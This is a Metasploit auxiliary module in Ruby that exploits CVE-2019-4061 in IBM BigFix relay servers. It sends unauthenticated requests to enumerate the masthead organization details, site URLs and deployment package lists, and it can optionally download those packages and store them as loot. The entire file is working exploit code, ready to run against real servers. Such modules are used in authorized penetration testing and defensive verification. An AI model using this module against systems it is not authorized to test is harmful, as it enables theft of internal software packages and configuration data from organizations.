##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'  => 'IBM BigFix Relay Server Sites and Package Enum',
      'Description' => %q{
        This module retrieves masthead, site, and available package information
        from IBM BigFix Relay Servers.
      },
      'Author' =>
        [
          'HD Moore',       # Vulnerability Discovery
          'Chris Bellows',  # Vulnerability Discovery
          'Ryan Hanson',    # Vulnerability Discovery
          'Jacob Robles'    # Metasploit module
        ],
      'References' =>
        [
          ['CVE','2019-4061'],
          ['URL','https://www.atredis.com/blog/2019/3/18/harvesting-data-from-bigfix-relay-servers']
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 52311,
          'SSL'   => true
        },
      'License' => MSF_LICENSE,
      'DisclosureDate' => '2019-03-18' # Blog post date
    ))

    register_options [
      OptString.new('TARGETURI', [true, 'Path to the BigFix server', '/']),
      OptBool.new('SHOW_MASTHEAD', [true, 'Retrieve information from masthead file', true]),
      OptBool.new('SHOW_SITES', [true, 'Retrieve site listing', true]),
      OptBool.new('SHOW_PACKAGES', [true, 'Retrieve packages list', true]),
      OptBool.new('DOWNLOAD', [true, 'Attempt to download packages', false])
    ]

    register_advanced_options [
      OptBool.new('ShowURL', [true, 'Show URL instead of filename', false])
    ]
  end

  def send_req(uri)
    send_request_cgi({
      'uri' => normalize_uri(target_uri, uri)
    })
  end

  def masthead
    res = send_req('masthead/masthead.axfm')
    return unless res && res.code == 200

    if res.body =~ /Organization: (.*)./
      print_good($1)
    end

    res.body.scan(/URL: (.*)./).each do |http|
      print_good(http[0])
    end
  end

  def sites
    res = send_req('cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands')
    return unless res && res.code == 200

    print_status('Sites')
    res.body.scan(/: ([^ ]+)/).each do |url|
      print_good(url[0])
    end
  end

  def packages
    res = send_req('cgi-bin/bfenterprise/BESMirrorRequest.exe')
    return unless res && res.code == 200

    print_status('Packages')
    last_action = nil
    @files = {}

    myhtml = res.get_html_document
    myhtml.css('.indented p').each do |element|
      element.children.each do |text|
        if text.class == Nokogiri::XML::Text
          next if text.text.start_with?('Error')

          text.text =~ /^([^ ]+)/
          case $1
          when 'Action:'
            # Save Action to associate URLs
            text.text =~ /Action: ([0-9]+)/
            last_action = $1
            @files[last_action] = []
            print_status("Action: #{last_action}")
          when 'url'
            text.text =~ /^[^:]+: (.*)/
            uri = URI.parse($1)
            file = File.basename(uri.path)
            @files[last_action].append(file)
            datastore['ShowURL'] ? print_good("URL: #{$1}") : print_good("File: #{file}")
          end
        end
      end
    end
  end

  def download
    print_status('Downloading packages')
    @files.each do |action, val|
      next if val.empty?
      res = send_req("bfmirror/downloads/#{action}/0")
      next unless res && res.code == 200

      print_status("Downloading file #{val.first}")
      res = send_req("bfmirror/downloads/#{action}/1")
      unless res && res.code == 200
        print_error("Failed to download #{val.first}")
        next
      end

      myloot = store_loot('ibm.bigfix.package', File.extname(val.first), datastore['RHOST'], res.body, val.first)
      print_good("Saved #{val.first} to #{myloot.to_s}")
    end
  end

  def run
    masthead if datastore['SHOW_MASTHEAD']
    sites if datastore['SHOW_SITES']
    packages if datastore['SHOW_PACKAGES'] || datastore['DOWNLOAD']
    download if datastore['DOWNLOAD'] && @files != {}
  end
end
